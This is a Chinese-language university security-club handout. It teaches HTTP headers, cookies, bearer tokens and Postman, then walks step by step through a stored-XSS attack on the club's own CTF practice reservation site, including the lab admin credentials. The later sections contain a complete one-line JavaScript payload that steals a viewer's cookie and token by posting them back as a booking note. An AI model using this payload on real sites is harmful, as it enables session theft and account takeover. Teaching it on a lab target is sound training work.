# 台科資安社 2023/10/05 上課內容 [TOC] ## 課程重點 - 尋找可能可以讓你決定的突破點 - 使用瀏覽器錄製並觀察 HTTP/HTTPS 封包 - 了解HTTP Request 概念,包括: - Header - Authorization - params - Body - HTTP Request Method - 使用 Postman 送 HTTP 請求、複測與產生代碼 - Cookie - XSS 跨站腳本攻擊(包含實作) - 網站系統密碼儲存觀念介紹 - 網站身份機制介紹 ## 靶機 [公網直接使用](http://ctf.ntust.pro/) [自行架設靶機練習](https://github.com/ChengHung-Wang/HappyBuilding-IB12F-Hack) :::info - 以下部分內容來自社團共筆,感謝大家的幫忙與貢獻。 - 外部連結參考的資料與講師寫的資料不保證 100% 正確 - 以下將使用 Chrome 作為示範瀏覽器 ::: ## 課前你應該做的事 - 在 CTF 練習平台上註冊一個帳戶 - 安裝一個 Chromium 為基底的瀏覽器或是 Google Chrome 瀏覽器 - 預約某個時段的會議室,如果有時間重複的問題請選擇一個沒人預約的時間(比較後面的,但不要太後面,比如說3999/02/29之類的),預約成功後應該能在「預約管理」中能看到紀錄 - 註冊(如果從來沒有註冊過)並登入 Postman ## 前言 上次學過 sql injection,如果你成功 dump DateBase 後,你會發現,你 dump 出來的 user password 好像不是真的 user password,你沒辦直接拿那組 password 去登入系統。 這是資安的一種保護機制,這種保護機制可以做到只讓帳戶的擁有人知道密碼(太簡單被猜到或是自己洩露給別人的不算),即使有人不當拿下了資料庫也無法直接獲得原本用戶得密碼,這個方法叫「hash」。 ## Password Hash 「hash」是一個不可逆的過程,原先的密碼經過一個特定的算法處理後會產出一串讓你難以讀懂的碼。在 password hash 的應用中,他會產生一串獨一無二的字串,原則上幾乎不可能重複。 這串字串可以用特定的算法來驗證是不是與原本的密碼相同,所以這樣可以做到網站方不需要知道使用者的密碼也能密碼驗證了。 但是這個網站的開發者(就是我啦哈哈,原本的網站可沒這種設計)做了一件很蠢的事,把用戶的明文密碼存到 cookie 中。 :::spoiler 為什麼我要這樣設計 這樣的設計在現今的主流網站很難看到(據我說知,真的有這種設計,這個系統到2022年才被淘汰掉...),這是為了遊戲性,讓玩家可以有拿到密碼的快感,同時介紹「Cookie」這個東西。 ::: ## Cookie & Session Cookie 這個東西是用來存一些資料的,有些資料不得不放在我們這,比如說 [Session](https://chuneck.com/what-is-session/) 這個東西,雖然真正的資料存在服務方那邊,但是服務方總不可能只服務我一個人,為了識別身份,所以會存一個識別我們身份的資料在我們這。 或是說為了要讓對方知道你是登入過的用戶並且也要讓對方知道你是誰,所以通常會有一個可以辨識你的東西,通常是一串亂碼,這存哪呢?有些存 Cookie,有些存 LocalStorage 有些存 Web SQL 等等(這沒有一定的答案)。 ### 實作1:看看你選課系統(台科的)的身份識別資訊存在哪裡? :::success 這個方法可以用在其他網站,你可以透過刪除某個項目後重整網頁看看會不會被登出(前提是正常情況下重整不會被登出) ::: 先開一個分頁(建議無痕模式) Step1: 按下 fn + F12 或是 F12 或是右鍵選擇「檢查」 ![](https://hackmd.io/_uploads/SkE3JUVbp.png =160x) Step2: 選擇 “Application” 這個 tab(或翻作「應用」的tab) ![](https://hackmd.io/_uploads/HJOKgLNbT.png =240x) Step3: 展開這幾個 tab 看看有沒有資料,打開如果有的話就刪掉看看(如果你的網站是不知道刪了會不會出事的請先備份,真的救不回來就全部刪掉重新登入吧。無痕模式的話可以關掉分頁重新開一個登入) ![](https://hackmd.io/_uploads/ByFtZUV-T.png =150x) 你會發現,你刪掉 Cookie 裡的某些東西,就會讓你變成沒登入的狀態,這表示什麼? 這表示這是用來讓系統服務方知道你是誰的判斷條件(但不是每個網站都將這些資訊只存在 Cookie 中,有些網站存了 Cookie 又存 LocalStorage 又存在 ... 的地方,可能需要所有的地方都正確才能通過身份驗證) 你也可以想像這是你帳戶的一把鑰匙,只是這把鑰匙人類可能難以解讀。 畢竟這不是你自己設定的那組密碼。 ## Authentication & Token (身份識別資訊) <strong style="color: red;">你有沒有想過,如果是別人拿到這些東西,會怎麼樣呢? 他就等同於直接拿到了你的帳戶,還省去登入的過程與登入的驗證了喔~</strong> 這個好牛批的鑰匙我們就先叫它「token」。 你可能會說了,我有二階驗證啊,我有 !#@!†¥dœ∑ 安全驗證啊。 這裡就要來講解一下現今主流網站的登入過程(這裡先不提 OAuth 或 JWT 的概念,就先單純介紹個大概念) ### 打開你帳戶的鑰匙: 你的密碼與 token 我們登入一個網站時,通常會有兩個東西要輸入,一是 email 或是帳戶名稱等等的(ID啊),二是你設定的密碼。後續可能會有什麼電話驗證啊,什麼什麼的驗證。 但最終登入成功後,都會統一拿到一個東西,這個東西就是 token,他可能是一個或多個 token,作為你成功登入、你訪問這個系統的鑰匙、作為讓服務器知道你是誰的依據。 正常情況下,這些資訊會安全的儲存,只要網站的設計安全,不要發生魔法(資安漏洞),我們也不要誤用魔法(病毒感染),「理論上」應該是安全的,我再說,理論上(因為世事難料,資安 So Hard)。 **token 這東西通常會透過我們這邊瀏覽器就可以執行的程式(ex: JavaScript)讀取後,夾在你對系統服務方的要求中一起被送出去,以便讓它知道你是誰**。 ### 實作2: 在瀏覽器中使用 Programming 的方式拿出CTF平台中的 token 目標:**實際親自執行一串 JavaScript**,他是你的瀏覽器可以直接執行的一種程式語言。 step0: 登入鑽石大樓預約系統 step1: 按下 fn + F12 或是 F12 或是右鍵選擇「檢查」 step2: 切換到「Console」頁面,或譯作「控制台」 ![](https://hackmd.io/_uploads/rJ6WweB-p.png) step3: 輸入下方程式碼,敲回車,你應該會看到下面的結果 ```javascript= document.cookie ``` ![](https://hackmd.io/_uploads/H12POlSW6.png) :::success 武功升級提示:您已獲得利用程式取得Cookie裡的Token能力 ::: ### 實作3: 用瀏覽器的 HTTP 抓包工具,找出 CTF 平台中屬於你的 token Q: 想一想,在這個系統中,有哪個頁面是你一定要登入才會有結果的頁面?並且這個頁面上的資料是「為你訂製」的頁面 A: 預約管理頁面,因為他要「列出你預約的紀錄」 所以勒? 這表示,這個頁面的前提一定是要讓系統服務方知道你是誰 所以這表示你傳了告訴他們你是誰的資訊,也就是你傳送了token給它(有些系統使用 SessionID) 接下來,我們要來一探這個網頁與服務器偷偷地溝通了什麼,他利用 JavaScript 讀取出 Token 後把這個資訊塞去跟的服務器溝通的哪一個地方了? step1: 按下 fn + F12 或是 F12 或是右鍵選擇「檢查」 step2: 切換到「Network」面板,或譯作「網絡」 step3: 先按一下下圖 "step3" 的按鈕,並且特別注意橘色驚嘆號的icon提示,是否有狀態跟我不一樣的設定(選到不該選的、按到不該按的、填了不該填的東西) ![](https://hackmd.io/_uploads/rJpu3erZa.png =400x) step4: 重整網頁並且重新登入,登入完成後直接到「預約管理頁面」 至此,我們已經錄製到跟服務端拿取一定需要透過你的個人token來訪問的預約管理頁面的記錄了。 接下來,我們來找出那則紀錄的位置。 :::danger 注意:這會根據你的預約情形不同填入不同的找法,所以不要完全照著我打。 ::: step5: 按一下下圖中的點擊step5-1, 在step5-2的搜尋框中填入你預約記錄中有的日期(不要照打) ![](https://hackmd.io/_uploads/r1w8Q-SW6.png) 沒意外的話,你會得到一個搜尋結果,搜尋儘量選是真的為你量身定制的訊息,並且重複性要儘量低,像我的預約記錄中2033-10-05的預約只有這一筆。所以就比較能查到關鍵的結果。 step6: **點選查詢結果**後,會將你自動導向到對應的請求項目,如下圖 ![](https://hackmd.io/_uploads/BJ8FSWB-a.png) step7: 點選紅圈處,到標頭頁面 ![](https://hackmd.io/_uploads/rJZfIWrZT.png) #### HTTP Request 概念講解(Header) 這邊有一些關鍵的資訊,這些關鍵的資訊也可以對應到第二堂課大家在burp裡面看到資訊 ![](https://hackmd.io/_uploads/r1nw5-S-p.png =500x) ![](https://hackmd.io/_uploads/rJAS9ZBb6.png) 可以參考這兩張圖片上對應的號碼來理解在表達層面(Chrome)與網路傳輸層面(Burp 裡的資料)上的差異。 1, 2, 3 的意思請參考第二堂課程對於 HTTP 請求的介紹。 其中五號是指自己的token,在此系統的設計中,這個 token 在沒登入的情況下是沒有的(token),也就是說,如果你要訪問這個功能(查看預約記錄的功能)你必須附上你的token在這個地方。 :::success 武功升級提示: 至此我們知道,這個系統利用 JavaScript 將存在 cookie 裡的 token 讀取出來後塞在 header 裡面面,並以「Authorization」作為 header 中的key,value 為 cookie 中token 的值來讓服務端知道,你是誰。 我們也知道了 一個HTTP請求與回應,可以包含 1. hostname & pathname 2. http request method 3. http status code 4. http request header(包含通用型的:Content-type, Accept, Encoding 等等) 5. authorization info ::: ### 實作4: 用 HTTP 請求工具,手動送請求,徹底掌握與Server的通訊 目的:就是讓你了解 http 請求 step1: 打開 Postman App(前面做過的不用做) step2: 新建或打開一個workspace(前面做過的不用做) ![](https://hackmd.io/_uploads/SklaZMr-6.png =300x) step3: 點選下圖紅匡處,注意驚嘆號的地方是不是與你的畫面上的狀態一致。 ![](https://hackmd.io/_uploads/BJVYffBZT.png) step4: 在 URL 輸入匡輸入查詢預約記錄的連結 `https://ctf.ntust.pro/ntust-ctf/public/api/v1/manage/reserve` step5: 輸入 Authorization 的 Token,切換到「Authorization」或 「Auth」這個頁面,然後你會發現他有一個下拉選單。 **這個下拉選單是目前主流網頁身份驗證機制的token種類**,現實中遠不止這些。 這邊我們選「Bearer Token」,為什麼呢? ![](https://hackmd.io/_uploads/rkk0g72e6.png) step6: 到實作3那則請求那裡把標頭中 Authorization 裡 Bearer 之後的字串複製進來,如下圖(注意不要複製到開頭的Bearer) ![](https://hackmd.io/_uploads/S1_w4MHbT.png) step7: 按下發送看看,你會發現,你得到這個東西(如果你用公網版的),因為你被CloudFlare ban了。 ![](https://hackmd.io/_uploads/Bk330K0-6.png =300x) 或者 ![](https://hackmd.io/_uploads/BJpeLkkG6.png =500x) 實際上是你忘記加上了該有的headers,這是用來辨別你的需求、你是誰所設計的,HTTP協定裡面已經有很多已經被定義的headers設定,這些設定通常都有他對應的意思,比如說: - Content-type: 溝通的格式 - Accept: 接受的回傳格式 - Encoding: 編碼 - User-agent: 你用的瀏覽設備類型(回顧一下第二堂課的only mewo-mewo can access this web,就是在說這個) 其他標頭請參考[這個連結](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers) 所以我們切換到Headers這個頁面,到 「request headers」這個地方把裡面開頭沒有`:`的東西複製出來 ![](https://hackmd.io/_uploads/Sye1M90ba.png) 複製出來後,請將換行去掉之後,Authorization也去掉,Cookie也去掉(這是瀏覽器自己加上去的,因為這個系統的服務器那端沒有強制要求一定要有Cookie [補充: Referer的用途](https://juejin.cn/post/6875118674785599501) 這邊我們填上這些 Headers ```= Accept:application/json Accept-Encoding:gzip, deflate, br Accept-Language:zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7 Content-Type:application/json Referer:https://ctf.ntust.pro/nonmanage/fn2.aspx?cname=%E5%8A%AA%E4%BC%B0%E8%AA%B0%E5%94%B7&idno=0440000000&sid= Sec-Ch-Ua:"Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99" Sec-Ch-Ua-Mobile:?0 Sec-Ch-Ua-Platform:"macOS" Sec-Fetch-Dest:empty Sec-Fetch-Mode:cors Sec-Fetch-Site:same-origin User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 ``` :::success **成功的樣子** ![](https://hackmd.io/_uploads/HySi1xJMT.png) **武功升級提示:** 好的,你現在知道了如何用程式拿到 token,也知道他把這 token 放在 HTTP 請求中的哪裡,你怎麼手動送出一個請求。 ::: 學了那麽多,該上魔法了。 ---- ## 魔法:偷走 Token 之忍術 - XSS 我們看到的網頁中,有一部分是 html 語法組成的(注意, html 不是 Programming Language),比如說這個語法: ```htmlembedded= <h1>hello</h1> ``` 這會讓你的文字比網頁一般的文字還要大一些,這通常用在標題的用途。 還有一個語法,用於顯示圖片 ```htmlembedded= <img src="https://example.com/image.jpg" onerror="alert(document.cookie)" /> ``` 其實還有很多,html語法其實就是透過大於小於符號包起來的東西,有點類似 xml。如果不需要包東西的語法(ex: img, hr)的話,通常都會是 `<name />`,name是它的名稱,在這裡,我們稱它為「標籤」(tag),所以hr 就是 `<hr />` 重點來了,這裡面有個東西 onerror="..." 其中 ... 是可以放 JavaScript 的地方,也就是你的瀏覽器就可以執行的程式。 這原先是用來設計用作當圖片沒有辦法正常拿到的時候去執行的事情,不會因為圖片 loading 不成功而整個畫面看不到。通常開發者會利用這個 onerror 的標籤來做到 還記得我的第一堂課嗎? ![](https://hackmd.io/_uploads/rkuF8P4-6.png =300x) 還是那句話 <strong style="color: red">我可以決定什麼事?</strong> 你用這個系統幹嘛? 不就是預約嗎預約房間,頂多查個密碼。 我可以決定什麼? ![](https://hackmd.io/_uploads/HJIrpDNWT.png) 你可以去調整你預約的時段 你可以去決定你要寫哪個電子郵件 你可以決定你的會議室 你可以填寫你的備註 你可以選擇你的會議名稱 ... 你有很多可以決定的事 但是這樣一個一個預約太沒效率了 而且,能選的會議室跟會議名稱都有很大的限制 所以,上工具。 ### 實作5: 手動送出預約開房請求 這個實作與實作4有點類似,不同的地方在於,**你需要給他一些資料**。 這些資料放在哪裡呢? 因此,<strong style="color: red">我們需要觀察</strong> step1: 按下 fn + F12 或是 F12 或是右鍵選擇「檢查」 step2: 切換到「Network」面板,或譯作「網絡」 step3: 先按一下下圖 "step3" 的按鈕,並且特別注意橘色驚嘆號的icon提示,是否有狀態跟我不一樣的設定(選到不該選的、按到不該按的、填了不該填的東西) ![](https://hackmd.io/_uploads/rJpu3erZa.png =400x) step4: 按下「會議室預約」的按鈕,填寫一個好辨認的預約(先不要送出) step5: 把鼠標停在「確定 Enter」按鈕上,但還先不要按下送出按鈕,這時把目光停在這方的Network面板,好,按下送出按鈕,你應該會發現最下面多出了一筆或多筆資料,其中,應該會有一個名叫reserve的紀錄,把它點開。 step6: 你應該會發現他其他的紀錄不太一樣,因為預約會議室一定會填寫資料,所以一定會夾帶資料,在這裡就會多出一個載荷(Paylaod), ![](https://hackmd.io/_uploads/rJJpUfHWT.png =450x) 切換到「Payload(譯:載荷)」頁面,按右鍵,點選「複製object」 ![](https://hackmd.io/_uploads/B1e4geJz6.png =300x) step7: 在 postman 中的「body」這個 tab 中,將剛剛設定的資料貼上來 (請注意驚嘆號的地方是不是都一樣) ![](https://hackmd.io/_uploads/Hy3UWeyz6.png =400x) 順帶一提,這個JSON就是指她的資料格式是JSON,所以我們才在請求中設定 Content-type: application/json,這個意思是說,告訴服務器,以JSON的格式理解這些資料。 [補充:JSON是啥?](https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Objects/JSON) 至此,我們對 HTTP 封包有算比較多的瞭解了 ![](https://hackmd.io/_uploads/S1RSa_Vb6.png) 我們再來溫習一下上圖的幾個號碼 1. 請求方式: 你要用什麼方式請求,這裡使用 POST 做為請求方式,通常不同的請求方式有不同對應的使用需求,詳情請見實作 2. 請求參數: 通常在 GET 的訪問請求中最常見,用於一些請求選項的告知,比如說本次查詢結果應該返回幾筆回來就好 3. 身份識別資訊(訪問令牌):放 token 的地方 4. 標頭: 放 header 的地方,這裡會根據開發者的需求、使用者的環境而改變。不過有些標頭是已經有一個制訂規範的標頭,詳情請見[參考文件](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers) 5. 資料: 就猶如這個實作的範例一樣,送出去的資料通常放這裡。 6. 目標網址 7. 跟服務器溝通時添加的資料 **再唸三次這句話:** <strong style="color: red">我可以決定什麼事?</strong> <strong style="color: red">我可以決定什麼事?</strong> <strong style="color: red">我可以決定什麼事?</strong> 你有沒有個大膽的想法: 把所有欄位(除了日期那類的)都改成 html? 比如說會議名稱的「伴讀」改成「`<h1>伴讀</h1>`」 然後去預約管理看看結果: ![](https://hackmd.io/_uploads/HJHNuONZT.png) :::spoiler <strong style="font-size: 24px; color: #ddd;">求講師心理陰影面積</strong> ![](https://hackmd.io/_uploads/r1y5d_VWa.jpg) ::: 好啦,認真一點,上面那張圖是因為有社員在搞(調整外觀樣式讓管理者氣死你不是我要教的,所以我就不在這裡多介紹如何調整html樣式了),他利用樣式調整語法(css)把字變大,正常來說應該是像下面這張這樣。 ![](https://hackmd.io/_uploads/HkpoHlyfT.png) 你會發現會議名稱變大了,這表示什麼,這表示它真的把你送的`<h1>blabl;a...</h1>` 當作 html 在解析,h1真的就是特大號,也沒有看到h1的那些大於小於符號,這表示,他會乖乖地執行我送的html。 這問題輕則就是影響用戶的觀看體驗,就像我上面那張用大大的紅字寫著的「我最喜歡玩原神了」。嚴重的話,駭客是可以隨便執行他想執行的程式碼的,至於這個魔法怎麼實現,後面的實作就會帶到。 :::warning **Q: 防毒軟體防得了嗎:** A: 沒得防 ::: ### 實作6: 大膽一點,送上帶有魔法的預約(看看能不能真的執行你寫的程式) #### 我們來統整一次大膽的想法 1. cookie 中有帳戶的密碼與token 2. 我可以用 JavaScript 拿到 token 3. 我可以用工具送出畫面上沒有的選項 4. 「會議名稱」如果送出帶有 html 的語法,會被當作 html 解析 <strong style="color: red">剛剛有介紹到 html 的其中一個標籤,img 標籤,img標籤中有onerror, onload 的設定選項,其中,可以這裡可以執行程式。</strong> ```htmlembedded= <img src="https://example.com/image.jpg" onerror="alert(document.cookie)" /> ``` 在實作五你已經學會了如何在 postman 預約一個房間,我們在這一個實作就直接沿用實用5的內容。 step1: 把postman 裡面的會議名稱改掉(紅匡處),然後發送 ![](https://hackmd.io/_uploads/HkjR4-yMT.png =400x) :::warning #### 補充:轉譯字符 在 JSON 中的字串會用 `"` 來表達開始與結束的意思,但是呢: ```htmlembedded= <img src="https://example.com/image.jpg" onerror="alert(document.cookie)" /> ``` 我們的 html 語法裡面有這個符號,所以我們必須不要讓電腦把 `"` 理解成 JSON 的開始與結束符號,同時也要讓 `"` 這個符號存在,所以這個時候我們就需要「跳脫」它,所以我們就在他前面加上 `\` 變成 `\"` 這樣就能做到不被理解成開始與結束的符號,同時也能塞進 “ `"` ” 這個字元。而透過前面加 `\` 來讓特殊符號得以儲存與表示的方式就叫做「**跳脫字元(转义字符)**」 ::: :::info 這個會議紀錄其實(for: 後面打的東西)是一個 html 語法,並且指定如果圖片連結沒辦法成功拿到照片(所以我才說隨便打)就會執行(onerror)裡的程式 (跳一個彈窗,顯示你的 Cookies) ::: step2: 到 Chrome 裏面看看有沒有什麼酷酷的預約記錄 ![](https://hackmd.io/_uploads/Hy_76gJMT.png =400x) :::danger 我們在這裡又知道了一件事,我可以**在會議名稱寫程式,並且在看到的時候自動去執行**。因為這個系統不會發現這些酷酷的文字在瀏覽器裡會被當作html理解,所以就不分青紅皂白的通通存起來,連轉換都沒轉換(轉換是指,這些會被理解成其他意思的符號,會被轉換成另一個形式來儲存來避免被理解成其他意思。 ### 你知道嗎 **其實上個禮拜、上上禮拜教的 SQL Injection 也是利用誘導電腦理解成另外一個意思的手法,把平凡無奇的文字(標點符號)透過特定的組合排列去突破原本的設計來達成攻擊** )。 ::: ### 實作7: 開搞 #### 我們再來統整一次大膽的想法 1. cookie 中有帳戶的密碼與token 2. 我可以用 JavaScript 拿到 token 3. 我可以用工具送出畫面上沒有的選項 4. 我可以送出帶有 JavaScript 的預約,誰看到誰就會被執行那段程式碼 <strong style="color: red">剛剛有介紹到 html 的其中一個標籤,img 標籤,img標籤中有onerror, onload 的設定選項,其中,可以這裡可以執行程式。</strong> :::warning 既然可以讓你寫程式在裡面,你可以用程式拿到看你預約記錄的那個人的帳戶鑰匙,**你有沒有想過,寫一個會自動預約會議室的程式在 onerror 裡面,然後會議備註就是管理者的 token** ![](https://hackmd.io/_uploads/Bk5ltdE-p.png =150x) > 那必須安排。 ::: step1: 用實作6的 postman 預約會議室的請求頁面,點選下圖紅匡處的地方,自動生成code ![](https://hackmd.io/_uploads/r1F4MbyGp.png =300x) step2: 選擇 "JavaScript - Fetch" (再說一次,JavaScript 是你瀏覽器能夠直接執行的程式語言) ![](https://hackmd.io/_uploads/HkwPvWkz6.png =400x) step3: 好的,到這邊你就能拿到可以直接預約開房的程式碼了,不信你到 CTF 靶機的網站貼上去這段程式碼試試看(日期記得要改,不要重複) :::spoiler 貼到這裡 ![](https://hackmd.io/_uploads/SksaubyGT.png) ::: #### 製作惡意腳本 step4: 修改一下程式 step4-1: 讓備註欄變成拿受害者的 Cookie ```javascript= var myHeaders = new Headers(); myHeaders.append("Content-Type", "application/json"); myHeaders.append("Accept", "application/json"); myHeaders.append("Authorization", "Bearer ..."); var raw = JSON.stringify({ "room": "R1203", "for": "<img src=\"https://example.com/image.jpg\" onerror=\"alert(document.cookie)\" />", "start_at": "9", "end_at": "10", "date": "2025-10-28", "note": document.cookie // 修改了這一行 }); var requestOptions = { method: 'POST', headers: myHeaders, body: raw, redirect: 'follow' }; fetch("https://ctf.ntust.pro/ntust-ctf/public/api/v1/manage/reserve", requestOptions) .then(response => response.text()) .then(result => console.log(result)) .catch(error => console.log('error', error)); ``` step4-2: 為避免日期重複問題,我寫了一個日期隨機產生的 function,並且指定預約時間使用此 function 產出 ```javascript= // 隨機產生日期的功能 function randomDate(start, end) { const result = new Date(start.getTime() + Math.random() * (end.getTime() - start.getTime())); return result.toISOString().split('T')[0]; } var myHeaders = new Headers(); myHeaders.append("Content-Type", "application/json"); myHeaders.append("Accept", "application/json"); myHeaders.append("Authorization", "Bearer ..."); var raw = JSON.stringify({ "room": "R1203", "for": "<img src=\"https://example.com/image.jpg\" onerror=\"alert(document.cookie)\" />", "start_at": "9", "end_at": "10", "date": randomDate(new Date(2002, 0, 1), new Date()), // 使用隨機生成的日期 "note": document.cookie }); // ... ``` step4-3: 將惡意腳本中的 "for" 清空,畢竟到時候這個惡意腳本會被塞到正常預約請求的 for 裡面,所以惡意腳本中的 for 就比較沒有那麼有意義(很抱歉這可能需要一些理解🥲),我這邊是用其他文字代替 ```javascript= // ... var raw = JSON.stringify({ "room": "R1203", "for": "XSS Attack", // 正常文字的 for 參數 "start_at": "9", "end_at": "10", "date": randomDate(new Date(2002, 0, 1), new Date()), "note": document.cookie }); // ... ``` step4-4: 把所有的 `"` 改成 `'` 來避免因為多重雙引號來減少出錯。 ![](https://hackmd.io/_uploads/Skq6WzkGp.png) step4-5: 從實作6中可以發現,這裡面塞的東西應該要是「一行」,所以我們需要想辦法把這段程式碼縮成一行,其實只要把換行刪掉就可以了,JS 是允許把程式碼通通寫在一行中的。 :::warning 1. 懶得自己手動刪換行的,可以直接用我的,只是記得把 `@replaceME@` 的地方換成自己的 token。 2. 為了提高成功率,你可以把改完的程式貼到瀏覽器試著執行看看有沒有錯誤。 ::: ```javascript= function randomDate(start, end) {const result = new Date(start.getTime() + Math.random() * (end.getTime() - start.getTime()));return result.toISOString().split('T')[0];}var myHeaders = new Headers();myHeaders.append('Content-Type', 'application/json');myHeaders.append('Accept', 'application/json');myHeaders.append('Authorization', 'Bearer @replaceME@');var raw = JSON.stringify({'room': 'R1203','for': 'XSS Attack','start_at': '9','end_at': '10','date': randomDate(new Date(2002, 0, 1), new Date()),'note': document.cookie});var requestOptions = {method: 'POST',headers: myHeaders,body: raw,redirect: 'follow'};fetch('https://ctf.ntust.pro/ntust-ctf/public/api/v1/manage/reserve', requestOptions).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error)); ``` step5: 將 step 4-5 中的程式碼貼到 step4-4 附圖中反白起來的地方,如下圖 ![](https://hackmd.io/_uploads/SkNoXGkfT.png) 發送請求,然後到預約記錄那邊看一下,你可以在預約頁面、預約記錄頁面之間切換,如果成功植入惡意程式的話,你的預約記錄應該會自己增加。 step6: 等待管理者上鉤 :::spoiler 如果你是自己練習,不是在課程進行的時候看這份講義的話(ex: 自己在家練習),請點開來看,否則請勿點開。 管理員帳號:admin 密碼:ntust_admin ::: <br /> 管理者登入後去查看預約總表時,就會在神不知鬼不覺的狀況下執行到你的惡意腳本,這時候,你再回來你的預約記錄裡,你就會看到存在管理者那端的 Cookie。 :::success #### 結果 ![](https://hackmd.io/_uploads/HywuOzJGp.png) 成功拿到管理者帳密、管理者的 token ::: ![](https://hackmd.io/_uploads/ryx2vO1za.jpg)